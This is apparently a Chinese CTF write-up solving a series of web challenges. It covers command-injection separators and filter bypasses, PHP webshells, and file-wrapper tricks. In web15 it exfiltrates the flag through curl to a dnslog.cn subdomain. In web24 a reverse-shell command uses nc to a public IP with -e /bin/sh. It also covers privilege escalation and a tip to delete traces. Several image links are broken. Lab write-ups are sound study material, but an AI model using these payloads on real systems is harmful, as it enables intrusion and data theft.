题目wp
web1(robots.txt)
在网址后输入/robots.txt,查看爬虫管理文件
直接访问即可
![[YA%J_O_%XD6N0CHDN1$@0.png
web2(.git)
使用githack
C:\Users\李则睿\AppData\Local\Programs\Python\Python310\python.exe .\GitHack.py -u "网址/.git/"
web3(爆破)
正常的数字爆破
web4(字典导入)
没啥好说的QAQ
一个是username 另一个password
web5(base64加密爆破)
导入最新字典,按照截图来就行
web6(综合)
将1到5教的结合,先看robots协议
打开里面的路径
再/.git/泄露
然后爆破
web7(;的应用)
![090${]WGKV6PNRY0($W1(V.png
&&前后并列执行 短路
||前后命令有一个成功就行
;独立的两条命令
dir=;tac flag.php
dir=%26%26tac flag.php
在这里用;将命令隔开就可以实现先执行ls再执行tac flag.php
![E%BFK_XP%0@}5IB@W}583Q.png
web8(/dev/null 2>&1)
需要前后两个命令,但是会使后面删除
web9(flag被过滤)
![AJYDG]7JPZAEZ)3]E8C{P8M.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1681438202773-c288a039-9c1f-4405-a4a1-dc2872c7a9a9.png#averageHue=%23b2b2b2&clientId=ud8070e69-c7d2-4&from=paste&height=750&id=u09d90883&originHeight=1125&originWidth=1223&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=120779&status=done&style=none&taskId=u12b20664-a120-4414-945d-b320b058c11&title=&width=815.3333333333334)
?可以用来站位
*也可以匹配
web10(base64绕过)
![$UQ%YH]V9I%K%(ICDDSK4}V.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1681438509576-d3cd4c25-cb40-4d2e-8a71-ff0ce71418ce.png#averageHue=%23b3b3b3&clientId=ud8070e69-c7d2-4&from=paste&height=748&id=u3c8417f2&originHeight=1122&originWidth=1183&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=127849&status=done&style=none&taskId=u2e3f530a-7d13-422e-a89e-bac0cb646bc&title=&width=788.6666666666666)
注意这里echo前用到是反引号,密文用的是单引号
web11(空格过滤)
${IFS}
$IFS$9
%09
等
web12(env)
![8]7UCU_]1PAA[KUX]5D{4QY.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1681439111850-cd8da70e-b51e-475c-9504-8922d549c7c7.png#averageHue=%23faf9f8&clientId=ud8070e69-c7d2-4&from=paste&height=559&id=ucc686a59&originHeight=838&originWidth=2287&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=246296&status=done&style=none&taskId=u36cf36de-a8bb-452b-8d5d-4e23b49e351&title=&width=1524.6666666666667)
![@)FA(FGWT50LE~17CNZRYB.png
web13(. /???/?????????)
<form action="http://5201b3a2-c047-4f7e-a884-8db141da8f7f.challenges.ctfer.com:8080/"
enctype="multipart/form-data" method="post" >
<input name="file" type="file" />
<input type="submit" value="upload" />
</form>
whoami
这里匹配最后以为最后一位为大写字母
![5(14@{{)0}CAI7)2V13V)K.png
太狗了,还搞一个假flag
web14(无回显文件读取)
文件写入形,写入文件二次返回
?cmd=cat fla?.php>1.txt
将flag.php写入1.txt
直接访问1.txt即可
看完记得rm 1.txt消除痕迹
web15(DNS信道)
这里用到了http://dnslog.cn/网站
创建一个二级域名
?cmd=ping -c 1 whoami
.jaugz9.dnslog.cn
可以看到信息被带出来了,但是这个方法有一个缺点,就是带出来的信息是有限的
于是我们尝试构造
?cmd=a=`sed -n "3,4p" fla?.php`;curl ${a:0:10}.2ax8wk.dnslog.cn
就可以得到关于flag的信息
当我们继续带出数据时,会发现不能成功(如 ${a:10:10} )
所以我们需要编码
?cmd=a=`sed -n "3,4p" fla?.php|base64`;curl ${a:0:10}.cgvu9p.dnslog.cn
![IO]_CE4H_@43Q%GITNJECF.png
![{CI~
YR%7AI~MZRB(KAR6.png
JGZsYWc9ImZsYWd7MmViNWQzZjctMGFhMy00OTU1LTlmMGYtNTFmZGI3YzU0Y2ZhfSI7Cg==
![8M)KO993308LNFHY5)~3.png
web16(http信道|requestrepo)
web17(反弹shell信道)
![B_G3~H%]B3DOSXKUTX8LNK0.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1688228546752-1a4df700-1b7e-48fe-9829-90d1cc5527cd.png#averageHue=%23cfcfcf&clientId=u9e63e841-dff8-4&from=paste&height=632&id=ud6b1a959&originHeight=948&originWidth=2004&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=107167&status=done&style=none&taskId=ud4b31307-d794-456a-b2bd-70c3d7254e6&title=&width=1336)
复制这里2的代码,记得改成自己的公网ip和所监听的端口
![)H7T@7]`K3STVS2{5]K8H@4.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1688228488410-c45a111c-2338-4aa1-ac78-e94aba541f3a.png#averageHue=%23050403&clientId=u9e63e841-dff8-4&from=paste&height=605&id=u5b8660dd&originHeight=908&originWidth=901&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=57602&status=done&style=none&taskId=uec757407-1d91-4f2e-9b47-cf808f8c76a&title=&width=600.6666666666666)
web18(蚁剑连接)
没啥好说的,单纯的蚁剑连接
web19(转接)
接一句
?1=eval($_POST[1]);
其余和18一样
web20(call_user_func函数)
先了解函数的意思
然后使用函数达到目的
在php中assert和eval作用一样
web21(array_walk_recursive函数)
web22(拼接法)
web23(?>绕过)
看到有?>还过滤了?;等符号
就需要先看php手册
![9}CFI${167{CMOF09@@)QG.png
可以使用这段代码绕过
<script language="php">
echo 'some editors (like FrontPage) don\'t
like processing instructions';
</script>
![49Q_K(J~R2EM6Y3X70XC5H.png
直接读取就好
这里有一个小技巧Linux读取根目录文件不用后缀
web24(限制上传长度+反弹shell)
题目是这样的
需要get上传一个1,然后要让他执行php语言
首先要构造一个绕过,不但要保证字数在限制以内,还要rce
这里上传这样一句
1=
但是由于字数限制,不得不删除等号,会导致没有回显
为了验证是否成功绕过过滤,我们使用了2=sleep 3命令
如果网页三秒后才加载出来,说明rce成功
然后使用反弹shell的方法得到flag
首先需要一台拥有公网ip的服务器
我们在服务器控制端
输入nc -lvvnp 端口号,然后网页端输入这个
?1=<?`$_GET[2]`;&2=nc 172.245.168.226 3389 -e /bin/sh
到这里直接查看flag就好了
web25(虚拟终端连接与蚁剑编码器的选择)
这里发现直接上传命令是没有用的
于是我们使用蚁剑连接由于过滤了eval函数,这里使用assert来替代
进行转接,改为post传参
?1=assert($_POST[1]);
注意:这里的编码器需要选择base64
否则会连接不成功
连接成功后,发现flag在根目录下
但是却打不开,说明这里过滤了系统命令
需要在这里以终端运行来读取flag
web26(蚁剑绕过与提权插件的使用)
这个是题目
这里继续使用蚁剑连接
和上一道题目用同样的连接方式
成功后继续打开虚拟终端
发现不能成功执行命令了
这里使用插件
这里使用的是ld_preload模式
成功后用这样的方式连接
连接成功后,用虚拟终端查看flag
结果发现没有权限
这里需要使用另一个插件
打开插件首先查找字符
再输入用户
这里看到很多路径
查看suid提取文件
发现tac是可以使用的
于是我们打开虚拟终端
tac flag就行
web27(Apache_mod_cgi)
前半部分和上一道题一样
这里在插件里选择Apache_mod_cgi
在这里执行命令
这里就不像上一题那样查看命令权限了
直接tac /f*
就可以看到flag
web28(user_filter)
和上一道题基本一样,只是使用了
user_filter模式
web29(无[a-z0-9]rce)
使用xor脚本
首先运行xor.php
会生成一个txt字典
然后运行python脚本
xor.py
构造即可
![RGEF5}D8WCE[(_N}(PBED6.png
web30(文件包含)
当包含的东西没有php代码他就一律认为是文本文档
![P3MKQJ1}1]9MR77]CGVX~42.png](https://cdn.nlark.com/yuque/0/2023/png/34848307/1688233365553-dec18dbd-defa-404d-ad17-d044f273245d.png#averageHue=%23d1d1d1&clientId=u5e0b8087-a567-4&from=paste&height=637&id=u75689c62&originHeight=955&originWidth=1691&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=98478&status=done&style=none&taskId=ub879cab8-9c98-4659-99af-7af083a33b6&title=&width=1127.3333333333333)
web31(三元表达式)
三元表达式
a?b:c
a成立则b否则c
web32(input)
![%A_N754TOLPJOR3Y1OT}9T.png
这里注意是flag不是flag.php
web33(php filter协议)
这里注意编码后如果末尾是+要将它换成%2b
用以上原理就可以实现rce
![_KO$~44F{OFIYLGMRAZ$DX.png
最终得到flag
web34(rot13绕过死亡die)
![(6XWB`37G2$5~6V76MF(~N.png
web35(data协议)
可以省略成
?file=data:,